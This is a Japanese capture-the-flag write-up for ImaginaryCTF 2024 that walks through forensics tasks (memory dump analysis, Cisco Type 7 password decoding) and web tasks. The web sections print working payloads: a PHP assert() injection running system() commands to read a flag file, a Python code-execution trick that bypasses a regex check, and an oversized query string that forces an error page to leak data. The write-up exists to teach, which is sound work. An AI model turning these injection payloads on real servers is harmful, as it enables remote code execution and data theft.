https://ctftime.org/event/2396
[forensics] bom
chal.txtというファイルが与えられる。全部中国語の文字のように見えるが、hdコマンドをして、各文字をasciiに変換するとフラグになった。
ascii文字の先頭にUTF-16のBOMのFE FF
を付けたファイルのようだった。
$ hd chal.txt
00000000 fe ff 69 63 74 66 7b 74 68 34 74 5f 69 73 6e 37 |..ictf{th4t_isn7|
00000010 5f 63 68 69 6e 33 73 65 7d |_chin3se}|
00000019
[forensics] packed
routed.pkzというCiscoのPacket Tracerというソフトで開けるファイルが与えられる。fileコマンドしてみるとzipだったので解凍するとsecret.pngというファイルが解凍されてきてフラグが書いてあった。
[forensics] crash
dump.vmemというメモリダンプが与えられる。stringsして適当に眺めるとWindowsのものだった。Volatility 3で解析してみよう。
問題文はI didn't save my work...
だったので、保存してない何かをメモリから抜いてくるのが目的っぽい。windows.pstree
を見るとnotepad.exeが動いていた。怪しい。
1400 1124 winlogon.exe 0xc60c81e45080 4 - 2 False 2024-07-19 00:28:49.000000 N/A
...
* 4032 1400 userinit.exe 0xc60c811a8300 0 - 2 False 2024-07-19 00:28:50.000000 2024-07-19 00:29:27.000000
** 4736 4032 explorer.exe 0xc60c80f0d080 64 - 2 False 2024-07-19 00:28:50.000000 N/A
...
*** 2216 4736 notepad.exe 0xc60c81b87080 12 - 2 False 2024-07-19 01:58:24.000000 N/A
notepad.exeのPIDは2216だったのでpython3 ~/.opt/volatility3/vol.py -f dump.vmem windows.memmap.Memmap --pid 2216 --dump
でメモリダンプをしておこう。
メモリダンプをGIMPに食わせて画像復元するテクがあり、これでnotepad.exeのスクリーンショットが見られるというWriteupをいくつか見たのでやってみる。pid.2216.dmp
をpid.2216.data
に変名して、GIMPでOpen ImageからRaw image dataを選択して開く。開く際に縦横を調整できるので、横を1024pxとして縦を適当に増やしてみてみるとaWN0ほにゃらら==
みたいなbase64エンコード物が出てきた。これですね、転記してもいいのだが、stringsで持って来てデコードしてみるとフラグが出てきた。
$ strings -e l pid.2216.data | grep == | grep aWN0 | uniq | base64 -d
ictf{■■■■■■■■■■■}
[forensics] routed
packedの続きの問題。使うファイルも同じ。Cisco Packet Tracerを入れてrouted.pkzファイルを開いて中身を巡回してみる。IOS Command Log
に面白いログが残っていた。
Time: 火 7 9 13:55:51 2024
Device: Router1
Prompt: Router(config-line)#
Command: password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728
これか。見たことある。CiscoのType 7形式ではパスワードはエンコードされているだけでハッシュ化ではないので戻すことができる。これをこことかで復号化すればフラグが手に入る。
[forensics] System Hardening 10 解けなかった
本番では解き切れなかったが、面白かったので復習しておいた。長いので別記事。
blog.hamayanhamayan.com
[web] readme 解いたが解けてない。
(恐らく)作問ミスでフラグがソースコードに含まれていた。本来の問題については解けてない。
[web] journal
ソースコード有り。phpでファイルが見られるアプリが与えられる。フラグの場所を見るとDockrefileに以下のように書いてある。
RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt
つまり/flag-ほにゃらら
にフラグがあるのでRCEが要求されていそう。外部から入力値を受け付けそうな部分は以下。
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
echo $filepath;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
パストラバーサルはassertでブロックされていたが、ここで逆に脆弱性を作り込んでいる。
assert("strpos('$file', '..') === false") or die("Invalid file!");
ここ。HackTricksにもあるRCE via Assert()を使う。system関数を入れ込んでみよう。' .system("id"). '
をfileに入れてみるとidコマンドが実行された。なので以下のようにls /
を実行してみるとflag-cARdaInFg6dD10uWQQgm.txt
というファイル名が得られたので最終的に以下のようにリクエストするとフラグが得られる。
GET /?file='%20.system(%22cat%20%2fflag-cARdaInFg6dD10uWQQgm.txt%22).%20' HTTP/1.1
Host: journal.chal.imaginaryctf.org
Connection: keep-alive
[web] P2C
ソースコード有り。問題文にThe flag is located in flag.txt.
とあるのでflag.txt
を取得してくるのがこの問題のゴール。pythonで出来たコードを実行して、その結果を色に変換するサイトが与えられる。
@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
codeで受け取ったコードをxec関数で実行してその結果を出力している。結果が出力されるには抜粋すると以下のように正規表現で検証されてpassすれば表示される。
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
…
if valid.match("".join(res.strip().split("\n")[-1])):
これを見ると(1, 2, 3)
みたいな入力であればいいことが分かる。次にxec関数は以下のような感じ。
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
単純にexecしているのでは無く、ファイルを作成してその戻り値を結果として受け取っている。入力されたコードはmain関数の中身として利用され、そのreturnを別の関数rgb_parseを使って変換して出力している。rgb_parse関数の内容は抜粋するがTupleで3つの値を返す関数なので出力は期待通り(1, 2, 3)
のような形になる。
上記で説明した正規表現とファイルを作成して実行している部分の2つの部分にそれぞれ脆弱な箇所がある。
まず、正規表現はre.matchが使われているが、正規表現を見ても、文字列の先頭がマッチしていればいいので(1, 2, 3)hogehoge
という出力でも検証が通ってしまう。
次に、ファイルを作成して実行している部分は最終的には標準出力の最後の行が利用されるため、rgb_parseを通っているかどうかは特に問題ではない。つまり、main関数の中で結果を出力させてexitしてしまえばrgb_parseを実行せずにpython実行を終了させることができ、任意の値を返すことができてしまう。
この2つの合わせると任意のpythonコード結果を出力させることができてしまう。具体的には以下のようなリクエストを使う。
POST / HTTP/1.1
Host: p2c.chal.imaginaryctf.org
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
code=print(%22(1%2c%202%2c%203)%22%2b%22hoge%22)%2cexit(0)
code部分はデコードするとprint("(1, 2, 3)"+"hoge"),exit(0)
である。printで先頭に適当なカラーコードを置いておいて、その後任意の文字列を入れ込む。あとはexit(0)
で強制終了させるというコード。これを実行するとchangeBackgroundColor("rgb(1, 2, 3)hoge");
のようにhogeが帰ってくることが確認できる。あとはflag.txt
を取得して表示させればよいので以下のようなcodeを送ればフラグが応答に含まれてくる。
print("(1, 2, 3)"+open('flag.txt').read()),exit(0)
[web] crystals
ソースコード有り。rubyとsinatraで書かれたwebサーバが与えられる。カスタムコードは以下のような感じで何もしないサーバ。
require 'sinatra'
get '/' do
erb :index
end
最も特筆すべき部分がフラグがhostnameに書かれているという部分。docker-compose.ymlに以下のように記載がある。
version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80
これは調査系だな…と思いsinatraを特に標準で追加される何かが無いかを探していく。経緯は忘れてしまったがセッティングのenvironmentにdevelopmentという設定値があることを発見する。しかも、デフォルト設定はdevelopmentのようだ。
キーワードが得られたのでChatGPTに聞いてみる。
Q: sinatraをdevelopmentで動かすと何が追加されますか?
A: Sinatraをdevelopment環境で動かすと、いくつかの便利な機能や設定がデフォルトで有効になります。これにより、開発中のデバッグやリロードが容易になります。以下は、development環境での主な追加機能と設定です:
自動リロード
sinatra/reloader ミドルウェアが有効になります。これにより、コードを変更するたびにサーバーを手動で再起動する必要がなくなります。ファイルが変更されると、自動的に再読み込みが行われます。
詳細なエラーページ
development環境では、詳細なエラーページが表示されます。これは、アプリケーションでエラーが発生した場合に、スタックトレースやエラーの詳細情報を確認できるため、デバッグが容易になります。
ログの詳細化
development環境では、より詳細なログが出力されます。これにより、リクエストやレスポンスの詳細を確認しやすくなり、デバッグやトラブルシューティングが容易になります。
デフォルトのポート
デフォルトでは、Sinatraはdevelopment環境でポート4567で動作します。他の環境(例えばproduction)では、別のポートを指定することが多いです。
この中から「詳細なエラーページ」を深堀すると解けた。何とかエラーを発生させることができれば、良い感じに詳細なエラーページを表示させることができ、そこにホスト名が含まれてくるかもしれない。
CSP回避の時に見た「431エラーを使ったCSP回避テク」と同じテクを使うとエラーページを出すことができた。。長いクエリストリングを使うことでサーバ側のバリデーションエラーを誘い、エラーページを表示させる。そこにフラグが含まれていた。
$ curl http://[redacted].org/?$(python3 -c "print('A'*4000)")
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
<HEAD><TITLE>Request-URI Too Large</TITLE></HEAD>
<BODY>
<H1>Request-URI Too Large</H1>
WEBrick::HTTPStatus::RequestURITooLarge
<HR>
<ADDRESS>
WEBrick/1.8.1 (Ruby/3.0.2/2021-07-07) at
ictf{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}:4567
</ADDRESS>
</BODY>
</HTML>